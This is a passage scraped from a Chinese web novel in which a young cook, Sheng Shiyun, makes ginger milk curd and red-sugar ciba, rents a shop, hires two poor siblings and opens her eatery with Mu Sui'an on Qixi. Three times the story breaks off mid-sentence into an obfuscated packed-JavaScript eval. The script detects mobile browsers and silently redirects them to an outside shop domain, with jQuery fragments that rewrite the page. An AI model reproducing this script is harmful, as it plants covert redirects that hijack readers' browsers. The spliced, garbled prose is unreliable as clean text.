“炸得好成功。喏,趁热尝尝。”盛时云又拿了一根递给穆遂安,穆遂安手上全都是土,扬起头示意她放在自己嘴里。 嚼着香香脆脆的肉条,穆遂安埋头洗手,唇角又一次勾起了可疑的笑容。 荷塘小炒做得快,食材清爽缤纷,除了属于山珍的木耳没放之外,用料还算齐全。豌豆、藕片、虾仁、玉米还有胡萝卜,放在盘里令人耳目一新。 “咦?阿云还在捣鼓什么呢,我去瞧瞧。”伏念把菜摆上桌,盛好饭一抬头,看见盛时云还在灶台边不知忙活些什么,登登几步跑凑过去,一探头,先闻到了一股香甜的牛乳味。 “哇,这是什么,还和冻冻一样。” “成了!这是姜撞奶,你尝尝。”盛时云本来也不确定自己能做好,只是因为手边有现成去皮的姜,就让穆遂安帮忙榨了汁,兑上熬好的牛乳试一试。 伏念取了个勺子,端起自己的那一碗,小心翼翼地舀起一点尝了尝。牛乳的醇香之外,还有那么一丝丝辛辣,两种味道竟然十分融洽。 盛时云把另外两碗摆上桌,其中一碗放在穆遂安面前:“这个你吃,对身体好。” 桌上两盘菜,菜量大得很,一口气吃完,四个人都满足得不行。 等两个男人自觉去收拾碗筷,盛时云撑着脸靠在桌子上,指甲拨弄着桌子上落的树叶,抬眼看向伏念:“明天怎么跟郑先生说?” 伏念也是她这个姿势,百无聊赖道:“啧,真诚嘛,唯有真诚走天下。” 第二日。 盛时云继续做土豆焖子饭,在推车上面的的小平台上摆了十几份熬好的奶浆,旁边放着榨好的姜汁。 姜汁黄澄澄,牛乳白净香甜。 盛时云别出心裁,现点现做,牛乳冲进姜汁里,不出片刻,就从液体变成了固体,软弹可爱。 有个汉子来后,用怀疑的目光看向盛时云:“甜辣交融,能好吃到哪去,盛老板你现在怎么也会乱做了?” 盛时云端得是胸有成竹:“一份不归,您尝尝就知道了,不好吃全额退款。” 她的声音不大不小,刚好让排队买焖子饭和卷凉皮的食客听了个清楚。一个抱着小孩的女人掏钱递给伏念:“伏姑娘,给我来一个。” 汉子乐了:“盛老板,你所言当真?” 盛时云取来牛乳冲在姜汁里,抬也眼笑道:“自然当真。” “好!我也来一个。” 第一个买姜撞奶的女人,坐在旁边支出来的椅子上,把孩子抱在怀里,试探地吃了一口。 入口绵密细滑,香甜之中只有一丝调和的辣味,吃了里面养身的姜,小腹也暖乎乎的。不似其他甜酪,多多少少偏向寒凉,月经腹痛的女人不能多吃,一到天热的时候就遭罪。 “我就说盛老板买的绝对是好东西!”女人惊喜地咂了咂嘴,大口大口把一碗姜撞奶吃了个干净,“盛老板,再来一碗!” 其他跟风买了的食客,也轮番露出回味的神色,包括最先起哄的那个汉子,谁也没有退钱的打算,甚至还想赶紧挤过去再买一碗。 毕竟车板上只有这么几碗,这可是限量难得!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14261872|148147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一天下来,盛时云的钱袋又鼓了一大圈,在脑子里大概计算了一下这两个多月来赚的铜板,如果再紧紧裤腰带,她真的有能力开一家食肆了! 盛时云打包好东西,跟秦二姐道别,让伏念和谢晖先带着推车回家。 “听伏念说,那天是你叫谢晖一起去看铺子的?”盛时云与穆遂安并肩走在一起,神色悠然,一双杏眼光彩灵动。 “是。之前你一直说想开酒楼,但现在咱们没钱,只能勉强开个食肆。”穆遂安道。 “我想着谢……少爷眼光毒辣,定能择到一个不错的。” 盛时云勾唇逗他:“这么有心呢?” “再不努点力,万一哪天你把我辞退了,我又要无家可归了……” 盛时云不用动脑子,都知道穆遂安现在的眼神。她拍拍穆遂安的宽肩,熟练画饼道:“别慌,等我做大做强,给你调成副掌柜充门面。” 穆遂安当了将近十年的将军,早有治下之策,对于画饼一事也是十分熟悉,但此刻他却半点没意识到自家老板的信口开河,甚至心里为郑道善家铺子产生的那点别扭,也随着这句话烟消云散。 隔着老远,盛时云就看见了郑道善家门口放着的书箱子。虽说是放在外面,整日风吹日晒,箱子上却看不到一丝破旧发霉的痕迹,显然是有人每天精心收拾过。 现下夕阳暮垂,学堂也该散学了。 “郑先生在家吗?”盛时云敲敲门,安静等在门外。 不多时,郑道善将门打开,见到门口是她,微微露出些惊讶,直到拉长目光,看到穆遂安时,花白的眉毛一皱,想要关门:“我说了,我家铺子不外租!” 盛时云的手还扶在门框上,穆遂安眼疾手快,先一步将快要夹到她手的木门挡住:“先生稍等,听我们说一句话。” “老夫决定的事情,绝对不会松口。”郑道善拗不过穆遂安的力气,表情很不高兴,看向盛时云,“姑娘请回吧。” 他浑浊的眼里似乎还藏着一丝将熄的光,盛时云敏感地捕捉到这簇光亮,并没有知难而退。她把手搭在穆遂安挡门的手臂上,轻轻一按,仰头看向他道:“你先回去吧,我和郑先生谈谈。” 穆遂安随着她的动作把手放下,怀疑地瞥了郑道善一眼,担忧地瞧着盛时云:“你要是有危险……” “郑先生是君子,不会做那些事。”盛时云摇摇头,坚定道,“我与先生都知道自己要的是什么,也算是志同道合,你放心吧。” 穆遂安听不懂,但是穆遂安听话。 他垂着眸,低声道:“那我回去等你。” 言罢,目光冷扫过郑道善的脸,疾步而去。 说是回去,穆遂安从桥上绕了一圈,又走到了郑道善的家门口,只不过停在离他家远上十几步的大柳树边。 他身子恢复得很好,足尖点了几下就登上柳树的枝干,口中衔着一根狗尾巴草,散漫地倚在枝丫间的阴凉处,遥遥望向郑道善家的院子。 他两人并未在屋中谈话,而是敞着院门,共同坐在院里。穆遂安的视线刚好被院墙挡住,只能透过映照在地上的影子窥见一二。 不知过了多久,地上的影子站了起来,依稀能听到两人细碎的声音。穆遂安将指尖的狗尾巴草折了几折,丢在地上,直起身往院里瞧。 这么一瞧,视线恰好与走到院子当中的盛时云撞在了一起。 穆遂安笑了笑,利落地从柳树上跳下来,大步跨去接她。 “怎么说?” 盛时云扬着下巴,喜形于色:“成了。” 29. 定胜糕 “租金每月十五两!”盛时云坐在桌前,把自己的“战果”和大家汇报。 “而且郑道善还说,如果需要他帮忙管账,可以把租子降到十二两,他的工钱另算……”谢晖拿着扇子直敲掌心,“这老头疯了吗?!” 伏念对着谢晖直摇头:“这你就不懂了,道义之交,往来都是个人情。” “所以你到底怎么说服的他?” 盛时云也没打算瞒着,娓娓道来: 郑道善确实是个胸有抱负的人,但在科举之事上才华不多,做教书先生已经是极限。学堂中,他最会教算数。 但在古代,算数并非一门好学问。不入流、不光耀,也正因为此,郑道善受到的嘲弄比先前更多。 “既如此何不另辟蹊径。”她对着郑道善,细细一想,轻声道,“这么多人生道路,并非只有做官才能得人尊重,先生想要千仞无枝,为什么不扬长避短呢?” “我一个孤女,尚且可以通过美食博得一方天地。先生是堂堂男儿,还有何不可?” …… 盛时云说着,将桌上最后一颗梨子递进口中,咬一口,汁水四溅,沁人心脾。最近的一桩心事达成,压在胸口的重石卸下的瞬间,盛时云猫儿一样眯着眼睛,侧头笑道:“多谢你们帮我想着,你们做酒的生意若是有要我帮忙的地方,一定要提。” “这都小事。”谢晖舀了一勺姜撞奶,一摆手,差点脱口而出,“谢礼已经收……哎哟。” 他被伏念怼了一胳膊肘,连忙改口:“心意已经收到了。”谢晖拍拍胸口,“盛姑娘是伏念的朋友,必须就是谢某的朋友。要是往后还有口福,能吃到姑娘做的菜就是人生幸事了。” 盛时云若有若无地瞟了一眼穆遂安,笑着点头:“公子下次来我家食肆,所有的菜都给你上全。” 那日谢晖和穆遂安几乎逛遍了青州的合适商铺,筛出来了好几家价钱好、地段也不错的铺子,本来想着列出来让盛时云挑挑,结果一回来看见郑道善就坐在她前面哭呢。 穆遂安一翻草纸,郑家的商铺正巧居于榜首。 郑道善这家铺子,确实倾注了他娘的苦心。 铺子坐北朝南,位置正在魁星庙对面,不仅人流量大,交通也十分便利。庙后有一条窄河,河中有渡船,庙前是修建平整的大道,不仅有渴望高中的学子往来,还有不少商贩,规模大过三仙街的两倍。 谢晖受了穆遂安在杏州渡的特赦牌,该担的事情一点也不含糊。帮着盛时云讲好了租期和免租期,又将其中细节亲自过目,确定没问题了之后,才与郑道善签下契子。 铺子内部分两层,一楼是大堂,面积宽敞,能放下五张桌子,外加用屏风隔开的一张两人位的小桌。楼上是厨房,外加一间专门隔断出来的休息间,能放下三张床。 后院有一口井,三口缸,还有一处是养鸡的鸡棚。 “我把具体的事情已经跟郑道善商量好了,更详细的你们自己定,再加上郑先生很看好你,也不会做那些不厚道的鬼事。” “像这么大规模的食肆,除了秦家二姐,应该再多几个帮工。你们想,郑道善当记账先生,二姐在厨房打下手,穆公子当……跑堂?” 盛时云用手指顶着脸颊想了想:“跑堂太累了,我之前说让他当副掌柜。还是老本行,得看着账本和走菜的事情。防人之心不可无,最怕有心人在这两个地方做手脚。” 不知什么时候,盛时云自己也没意识到,她已经把穆遂安这个算得上来历不明的人,归纳到自己人的范围里。 说完,她朝穆遂安眨了眨眼睛:“没骗你吧?” 伏念若有所思:“这个活计轻松,少给他点工钱吧。” 谢晖立马赞成:“这个主意好。” 穆遂安战术咳嗽:“要是阿云为难的话,少开点工钱也可以。” 盛时云礼貌微笑。 等尘埃落定,已经是两天之后。冯桃一手领着乔乔一手拎着一口袋毛桃丢在伏念怀里:“这些,拿路上吃。多来信,我好能绑着时云替我念字。” 她说出“时云”二字的时候,伏念心虚地回头看了谢晖一眼,发现谢晖正跟穆遂安说些什么,并未注意倒这边的动静,才放下心来。 “有事来信,你忙你的,不用惦记这边。”盛时云抱着福团,把包裹举给伏念,叮嘱道,“你这次走得远,下次见也许真要见我开酒楼了。” “知道啦知道啦。福团,让姨姨亲一下!”伏念也有许多不舍,撩开车帘不肯撂下,“记得想我啊!好好干,以后发财了记得养我!” “必须的!” 把人送走,竹竿巷又冷清下来。盛时云抱着福团不撒手,显得有些怅然,穆遂安在她身边坐下来,问道:“想好什么时候开张了吗?” 他知道盛时云心里全是开食肆的事,因此有意把她的思想往食肆上面引。 “七夕节开吧。”盛时云果然被转移了注意力,低头一下一下摸着福团的头顶,“到时候整个开业大酬宾,能跟七夕的活动凑到一起。” 穆遂安没听过“大酬宾”这个词,不禁觉得新鲜,扬了扬眉,笑道:“开业大酬宾,这倒是个好词。” 盛时云哼哼几声,算是应答。她看着伏念马车离开的那个巷口,撇撇嘴,转身回院。穆遂安跟在她身后,想把门关上,站定时,却见盛时云看了过来。 “你会离开吗?”她问。 穆遂安愣了愣,几乎是没有犹豫地回答:“不会。”话音一落,福团软乎乎的身子被盛时云放在他怀里。女孩听了倒是没说话,捏捏福团的鼻子,转过头去厨房边计算自己需要的蔬菜。 没说话,就算不上信还是不信。穆遂安从没觉得自己嘴这么快过,他拍拍怀里扭动的小狗,将福团放在地上。 他总归是要回漠北的,胡人之乱未竟,三皇子归朝,谢晖与他说了许多京城近来的事,凭他往常的经验,未来的朝廷又要骚动起来。 穆遂安本来是要出来避避风头,谁知现在竟然更多了一层牵肠挂肚。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285121|148147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我要是走了你打算怎么办?”穆遂安问。 “……?”盛时云抱着两颗大白菜,抬眼看他,虚虚地扫过,目光重新落到怀里的白菜身上,“再找个副掌柜呗,也不能收手不干了。” 穆遂安也搬着板凳坐过去,一脸意料之中,旋即笑了笑:“也是……” 他走了,还能有什么孙掌柜李掌柜赵掌柜的坐在门口充当吉祥物,总之不缺好看的男人,再不济…… 思路落到此处,穆遂安硬生生停止了设想。他也拿过一颗白菜:“菜头有点老,要是做汤的话应该要嫩一点的。” “做酸辣白菜的话可以老一点只吃叶子。” 他又把其他的蔬菜拿出来,一一指出适宜的做法,听得盛时云一头雾水。 “我在想菜谱。”盛时云哭笑不得,“过来,咱们商量商量。” 因为没有开食肆经验,要请的帮工也少。为了防止周转不过来,盛时云决定用套餐制,一周每天推出不同的套餐,按经营的情况,每七天或十四天作一轮。 彼时酌情增补,也算能够协调得过来。 唯有一样,是盛时云别出心裁。因为食肆对面就是魁星庙,求学求升的学子不少,为讨吉利,盛时云决定在菜单里加上常驻的“定胜糕”。 定胜糕寓意旗开得胜,一份一个,买套餐就送,每日限量,作为学子们特别的福利。 盛时云根本不怀疑自己做出食物的诱人程度,再加上云家食摊名声在外,并不用过于担心客流量的问题,只是她自己,很想把定胜糕作为一个特色,讨个好彩头。 说做就做,穆遂安还拿着算盘敲算食肆的预算支出,盛时云已经脱下围裙,准备出门买模具和要用到的米粉。不仅如此,食肆的大匾额和碗筷杂七杂八也都需要订做。 只不过现在,穆遂安忙着算数学,盛时云没想打扰,叫上了福团一同出去。福团现在圆头圆脑,四肢修长,仔细一看还有点英姿飒爽的感觉,跟在盛时云身后十分神气。 定胜糕要用到大米粉、糯米粉还有染色用的红曲米,馅料用红豆做成豆沙,最后蒸压成型。 做法简单,但是程序复杂,并不适应人手少、效率高的食肆经营,所以盛时云才决定限量赠予。 风和日丽,盛时云边逛菜摊边盘算着自己要出的套餐,买到了需要的粉粉,又找到了一家价格合适的木匠店。 “咱们这有专门的提字师傅,盛娘子你看这几笔写的,需不需要?” 盛时云探头一看,字体苍劲,龙飞凤舞,确实好看得紧。脑中灵光一闪,她缩缩脖子,拒绝道:“不要不要,明天我给您送字样来,按照我家的字样做。” 在外面绕了一圈,食单的想法几乎已经成了型。福团很少往这么远走,一时兴奋地不肯回见,天色还早,盛时云干脆带它去铺子门口转一转。 隔着老远,盛时云就听到街上无来由的喧闹声。福团一向天不怕地不怕,摇着尾巴迈着步子走近。 忽然尾巴一垂,呲牙狂叫起来。 30. 红糖糍粑 铺子对面的学堂里,一个教书先生模样的男人,正拿着教棍驱赶一个抱着几张破纸慌张逃窜的半大男孩。 孩子看起来只有十二三岁的样子,脸上脏兮兮的,眼睛漉黑,仓皇地看着用木棍抽向自己的先生,哭道:“您别打了,我知道错了,再也不偷听了!!” 盛时云将福团抱起来,护在怀里,问旁边看热闹的人:“这是怎么了?” “你说小柱子呀?他家里没钱,又想读书,结果过来偷听让人发现了,就给他撵出去。” 围观的人你一言我一语,但却没有一个人上前看看孩子的情况。小柱子的露在外面的手臂上已经被抽了好几道血痕,可怜得让人心疼。 “先生手下留情。”盛时云上前两步,福团窝在她臂弯里恶狠狠地呲牙过去,颇有些虚张声势。她轻轻捏住福团的嘴筒,阻拦住教书先生要再次挥下去的教棍,道,“这孩子挺可怜的,您行行好,饶他一次,下次他不会再来了。” “你是哪门子来的?一边去,这崽子来我课堂偷听好几次了,他倒是学了不少好东西,对别人付钱上课的公平吗?”男人怒气冲冲地横眼瞪向躲在盛时云身后的小柱子,恐吓道。 “滚,再来打死你!” 小柱子全身一抖,紧紧抓住了盛时云的袖子。 “想学知识是好事,可偷听确实不是君子所为,城里的学堂价贵,为什么不先在家旁边找个乡塾上上?” 等人都散去了,盛时云把小柱子拉到少人的地方,耐心地蹲下询问,一边问,一边用手揉着他胳膊上被抽出来的大包。 “我……上不起学,娘和姐姐干农活,爹的腿断了,下不了地。” 小柱子的声音细细的,似乎是委屈得想哭,但还是扁着嘴忍住了,眼睛眨巴眨巴地看向盛时云。 “家里还有姐姐?”盛时云将他手里的几张碎纸拿到眼前,上面的字迹因为用笔和书法问题,显得有些粗陋,但整体横平竖直,不难看出小柱子认真的态度。 “嗯,姐姐叫花英。”小柱子点头,长长的睫毛下面掉出眼泪来,“姐姐也想读书,但、但是……爹不让。” “他倒是松口让你读了,你的处境也没见得好到哪去。” 有个穷成这样还重男轻女的爹真是罪过…… 盛时云暗自翻了个白眼,把碎纸交还到小柱子手里,嘱咐道:“我这边有个跑堂的活,赚得应当比下地多些,你回去问问姐姐,若是你们愿意干,就明天或者后天的傍晚叫她一起来三仙街,我是云家食摊的老板。” “郑先生也在我这里做工,我也回去同他们商量商量,要是能成,咱们再谈工钱。” 小柱子懵懂的眼睛惊喜地亮了亮,直起腰板,问道:“郑先生也在?” “在的。”盛时云伸出一根手指比了比,语气重了些,“但是在我这里做工要能吃苦,不要是偷奸耍滑,那我也把你们撵跑。” “我们能吃苦!姐姐知道您肯帮我们,一定也高兴!”小柱子整个人都精神起来,顾不得疼,向盛时云鞠了一躬,“谢谢娘子帮我,我这就回去和姐姐商量。” 鞠完躬,他拔腿就跑,边跑边回头,活跃的样子像草原上乱蹦乱跳的小鹿,挥手大喊:“谢谢盛娘子!” 一天的时间又交代过去,盛时云提着买好的东西往回走,福团颠颠跟在她身后,热得吐出粉嫩的舌头,呼哧呼哧喘着粗气。 穆遂安守在家里,听到她开门的声音,扑打了几下自己被鹰隼爪子攥皱的衣袖,不着痕迹地将手背在身后,迎上前:“回来了?怎么这么晚。” “中间遇到点事儿。”盛时云自然而然地把东西递给穆遂安,她目光落在他的肩膀,伸手把一小片绒羽捏了下来,好奇道,“哪来的鸡毛?” 穆遂安神色自若:“应当是鹌鹑的吧。” 盛时云不疑有他,跟过去给自己倒了一杯水,站在穆遂安的身后把今天遇到的事情明明白白地说了。 她环着胳膊,抿了一口水:“我想着,要是能通过这个办法帮帮人家,也不失为一件积善积德的好事。” “穷山恶水出刁民。”穆遂安抬眼,表情略有些不赞同,“要是故意讹上你怎么办,你一个姑娘……” “这不是有你嘛。”盛时云弯起眼睛,倒是显得格外乖,脑后松松挽起的发髻随着她歪头的动作,落下更多发丝来。 穆遂安语塞,无奈地勾唇,把买来的碗筷整理起来,米粉和糯米粉都摆在灶台旁边,妥协道:“等下次我和你去,你一个人不安全。” “好嘞!”盛时云答应得脆生生。 她看到案板上切好的菜丝和肉丝,狗腿地夸赞道:“现在都能切这么好了,简直要出师了呀。” 盛时云捻了捻新买回来的米粉,转头去找穆遂安:“我做些别的,你吃不吃?” 穆遂安就没有不吃的。 起锅烧些水,晾温之后倒进事先挖好的糯米粉中,少量多次,搅拌成白净净的一块面团。 盛时云纤手合拢,将面团一条条搓成均等圆胖的细条。 搓好即成。热油的时候,她忽然想起另外一事,问穆遂安道:“食肆还得要一块小木匾,你书法好看,要不要替我提个字?” 搓好的小胖条子,挨个放落到油锅里,滚一圈就裹上了一层金黄可口的脆壳。这道红糖糍粑要掌握好火候,一个不慎就会把脆壳煎糊。 穆遂安立在她身边,看着锅里老老实实排列的糍粑,顿了一会儿,道:“我不提了吧。” “……”盛时云愣了愣,拨弄糍粑翻个的筷子晚了一步,原本火候刚好的糍粑煎出一块焦糊,黑黢黢的,有点丑。她惋惜地叹了一口气,接过穆遂安递来的盘子,用开玩笑的语气说:“怎么了,我多给你点工钱还不行?” 古代世族大家,对书法颇为重视,甚至在科举选官中,都要根据笔迹是否端正判断举子整个人的品德修养。 对于熟悉的人来说,见字如面。 照谢晖所说,近几日不仅京城不稳,甚至动乱有蔓延到其他地方的趋势。很多权贵奸佞都认识穆遂安的笔迹,彼时一朝之患,他唯恐牵连到盛时云。 “你忘了先前我受人追杀的事了?”穆遂安跟着她的指示将黄豆粉洒在摞成小包的糍粑上面,“要是贼人再来,阿云不怕他们一见我的笔迹,就闯进来把你生意扰乱?” 盛时云捧着个白瓷碗,筷子轻轻搅拌着里面的红糖,似乎真的没想起来这件事,呆了片刻,还是那句话:“这、不是有你……” 穆遂安几不可见地皱了皱眉,表情难得带着些莫名的烦躁,他用舌尖顶了顶口腔内侧。他敛着眸子,瞧盛时云将红糖浆打着圈地浇在糍粑上。 红糖落在撒满豆粉的糍粑上面,瞬间给这道菜填添了一抹颜色,玛瑙滚在细沙中一样诱人,飘起的味道甜而不腻,令人口舌生津。 “写还不行吗。”穆遂安目光落在盛时云的脸上,自我攻略之下,心甘情愿地妥协了。 盛时云把切好的菜丝倒进锅里,笑容重新回到脸上,得逞道:“行啊,吃完饭就写。” “你把这个糊了的吃了,沾点红糖。” 穆遂安把红糖糍粑摆到桌上,听话地把单独放在碗里的那块糍粑拿起来。糍粑其实没有煎得很糊,只不过盛时云对自己做出美食的形象要求很高,有点瑕疵的,就会被单独挑出来。 在还没洗的红糖碗里,沾了点糖,浓浓地裹在焦香的糍粑上面,一口下去,外酥里软,里面的口感软滑又不粘牙,红糖与豆粉混合,又甜又香。 就连糊了的地方,也脆脆的,十分别致。 “好吃。”穆遂安看见案板上还剩下几个搓好没煎的圆糍粑,问道,“这是做什么用的?” 盛时云瞥了一眼:“明天给乔乔拿去,小孩肯定爱吃。” 翌日。 三仙街的生意依然火爆,甚至太阳还没擦过地平线,麻辣烫的香煮锅里汤底只剩下了一层汤底。 因为说好了要等着小柱子两姐弟,盛时云不着急收摊,有一搭没一搭地跟莫秀娘和秦二姐聊着天。 穆遂安先去了木匠铺,挑牌匾,外加把他写的“云家食肆”四个字,留存给制作牌匾的木匠。 “要是真的开了食肆,我应当不会出食摊上这些吃的了。”盛时云学着莫秀娘的样子抓了一把瓜子,她瞧着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304162|148147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莫秀娘摊子里面还剩下的凉皮,眼睛眨了眨。 “你要不要学卷凉皮?”盛时云翘起嘴角,“独家秘方,学到就是赚到。” 莫秀娘的凉粉和凉皮在三仙街也是独一份,但凭她自己还真达不到盛时云的水平。说句实话,云家食摊的这些小有名气的小吃,在青州已经得了许多人的效仿。 不说别处,先前,三仙街的另一头就有一家叫“芸家狼牙土豆”的食摊,专门效仿盛时云,但味道却是千差万别,最后无人光顾,只能灰溜溜地关了门。 要是能学会卷凉皮的真传,那早上的发糕就不用揉了,进账绝对少不了。 “想啊,当然想。”莫秀娘也学会了穆遂安的星星眼,连忙凑过去,锤了锤盛时云的后背,嘿嘿一笑,“有你真好……” 说完,她好像忽然想起了什么似的,自己一人跑回摊里找着什么东西,留盛时云和秦二姐面面相觑。 不一会儿,她兜着围裙回来,裙子上面晃啷啷的全是零碎的铜板,有单放着的还有串成串的。莫秀娘兴高采烈地往盛时云面前展示:“这些够不够,买你个食谱方子。” 没想到这些是给自己的。盛时云愣了愣,表情差点没收住,惊讶地站起来,推拒道:“咱俩的关系谈钱干什么,教你就教你了,还得多请你去捧我家食肆的生意呢。” “时云,时云。”莫秀娘坚决不松口,把铜板搂起来塞进盛时云怀里,“拿好了得了,还不到一两银子,根本不多。我以后几天就赚回来了。你帮我这么多,不能再占你便宜。” “确实是这个理儿,盛老板你就拿着吧。”秦二姐也劝。 “那我拿着,回头教你。”盛时云不好意思地将莫秀娘给的铜板收起来,又习惯性地在碰钱之后擦了擦手,“反正闲着也是闲着,要不我现在就教……” “盛娘子。”一道带些稚嫩的男声突然从身后传来,盛时云话未说完,寻声扭头,定睛一瞧,面前一高一矮站着两个半大孩子。 秦二姐和莫秀娘的注意力也被引了过去。 高的是小柱子,矮的是姐姐花英,两个孩子现在穿的衣服还不如昨天小柱子被教棍抽碎了的那件,破破烂烂。 花英的眼睛下面青紫一块,她用手掩饰地遮住,一双大眼睛扑闪扑闪地看向盛时云,里面盈盛的光像极了一只蝴蝶。 “哎,你们来了?”盛时云快步走过去,先扶住了花英的肩膀。 小柱子十三岁,花英十四岁,姐弟俩就差了一年,都差不多快要成年,但体型却瘦瘦小小,看起来和年龄不符。 “啊哟,这俩可怜孩子。”莫秀娘心疼地掩住嘴,跟秦二姐窃窃私语,“你看,准是挨打了。” 正说着,穆遂安从木匠铺回来。他隔着很远就看见盛时云的手搭在身边一人的肩上,他面色不虞,凝眉加快了步子。 走近才看见,是个半大的女孩。 一下就反应过来,是盛时云昨天同他说过的那两个孩子。穆遂安视线快速扫过他们,却并未停留,直到站定在盛时云面前,把顺路买回来的几个甜桃子放在她手里,道:“木匠说三天就能出,肯定能赶在七夕前取到。” 盛时云呼出一口气,答道:“那就好。” 莫秀娘看穆遂安回来,自知这里也没自己什么事,很有眼力见地拉住秦二姐的手:“穆郎君回来了,那我俩走了。你们先看着,记得教我啊。” “放心吧放心吧。”盛时云笑着答复,拉过怯生生站在旁边的两个小孩,推到穆遂安面前,温温柔柔地介绍道,“这位是穆遂安,以后就是副掌柜,来认识一下。” “昀川,这是小柱子,这是花英。” 穆遂安微微颔首,算是打过招呼。他面容虽然温和,架不住身量太高,不笑的时候,气势上又隐隐带着冷肃之感。 花英瑟缩了一下:“副掌柜好。” 小柱子也跟上:“副掌柜好!” “先别急着叫。”穆遂安给两个孩子递了俩板凳,示意他们坐下来,“来食肆做工,家里同意吗?” 他视线掠过花英脸上的那块伤痕,问道:“怎么弄的?” “我、我爹打的。” 31. 食肆开张 听完了事情始末,穆遂安与盛时云交换了个眼神。 果不其然,是因为家里不想让花英这个劳力出去做杂活。小柱子抱着姐姐大闹了一场,这才让他们俩的娘亲妥协下来,说是准许他们先出来一个月试试水。 “话要说在前面,最短要做满三个月,若是耽误我们生意可是还要赔偿的。”穆遂安没有盛时云那么好说话,他在北漠治军时就以严格闻名,即便前面是两个孩子他依旧铁面无私。 “我们、我们不会的!”花英绞着手指,有点怕他,但神色急切,好像找到了好心的救星。 “另外,要做的事情很多,你们可以熟悉几天,然后再签契子,再决定要不要跟着我们干。” 穆遂安的衣带紧了紧,他回头去找盛时云,正巧盛时云松手探过来,小声道:“让他们住铺子上面吧,正好空了一间屋,里面有三张小榻能供人休息。” “要是干得不好,也会叫你们走的。”穆遂安上上下下打量了姐弟俩一遍,问盛时云,“衣服要添置吗?” 打理食肆一事让每天都更充实起来,外加上协调郑道善和花英姐弟,一连串就忙了几天。又腾出来一天的空闲,叫上冯桃,将铺子里面仔仔细细打扫布置了一番。 晚上,盛时云搬着小凳,坐在树下喂福团。天上弯弯一轮上弦月,穆遂安还在烛火前面端详写好晾干的菜单。 推车放在角落里,镀上一层月光。 “明天就要开张了,和做梦一样。”盛时云只穿着一件薄褂子,踩着鞋悠悠地靠在树干上,偏头看向天上月亮,眼眸清凌凌的,感叹道。 盛时云早就想好了明日的活动内容。 七夕既是牛郎织女鹊桥相会的日子,又是女孩子们乞求手巧的日子,来来去去,都和姑娘有关。 比起宣扬爱情,盛时云更喜欢后面的这个寓意。 勤劳手巧,吃喝不愁,更不用依附于人、过手心朝上的日子。 因此只要每桌坐够两个女性,当天套餐就可以按八折购买,附加一碟小菜。 只是,莫秀娘和冯桃听了她的想法,都多多少少地觉得不妥。 ——这个日子不给夫妇、情侣行方便,很容易得罪顾客。 盛时云坚持自我的同时,也不得不承认她们两人的想法是对的,她咬咬牙,提前做好了活动内容会引起他人不满的准备。 没想到,食肆开张当天的情形,火爆得直接叫所有人都忽视了活动内容的那点小小的偏差。 因为第一次开张,天刚蒙蒙亮,盛时云就睡不着地叫着穆遂安和福团,一同去了食肆。秦二姐提前将里面打扫干净,桌椅摆放整齐,连门口的那块牌匾,都被擦拭得锃亮。 一推门,没想到已经有人更早地醒了。 听到声响,小柱子轻手轻脚地从二楼探下头来,瞧见是自家老板,松快地吐出一口气,将手里拎着的棍子放了下来,回头喊道: “是盛老板,姐姐快下来!哎?还有只小狗!” 这几天他们都在食肆里面住着,秦二姐和穆遂安带他们熟悉了要做的事,两个孩子也很会给自己找活干,动作利落干净,跟几个大人熟悉了之后,说话的语调都总带点小孩特有的、喜滋滋的腔调。 “是福团吧,我之前听盛老板说过的。”花英显然比小柱子稳重多了,瞧见盛时云,甜甜笑了,“盛老板来得好早。” “睡不着了。英子,喏,你去带福团玩。” 穆遂安把写着菜名的菜牌挂在墙上,下面就是郑道善坐的位置。郑道善负责点餐和收钱,他扒拉算盘的水平,赶得上谢晖那个“大商户”。 花英负责传菜,小柱子负责跑堂,秦二姐在盛时云旁边打下手。 盛时云正把备菜拿到厨房。忽然听到楼下传来陌生人的说话声: “中午能订桌吗?我带我媳妇和我娘来。”男人问道,“怕干活误了时辰,云家的菜,我们得吃个新鲜。” “云家食肆新开张,不知道来人多少,目前来看不适合订桌。”穆遂安的声音响起,耐心解释。 “咱们家走的都是套餐,出餐快、食客也吃不了很长时间,您来就行,不会等太久。” “得嘞,几时营业?我掐着时辰来。” “巳时以后,多谢光临。” 今天的套餐搭配很得宜。荤的是水煮肉片,素的有两道,一道干煸豆角一道酱香茄子,汤品是紫菜蛋花汤,里面用的紫菜由海货店老板周源倾情提供。 赠送的小菜是盛时云之前做过的红糖糍粑和定胜糕,可以自行选择。 不一会儿,秦二姐和郑道善也来了。 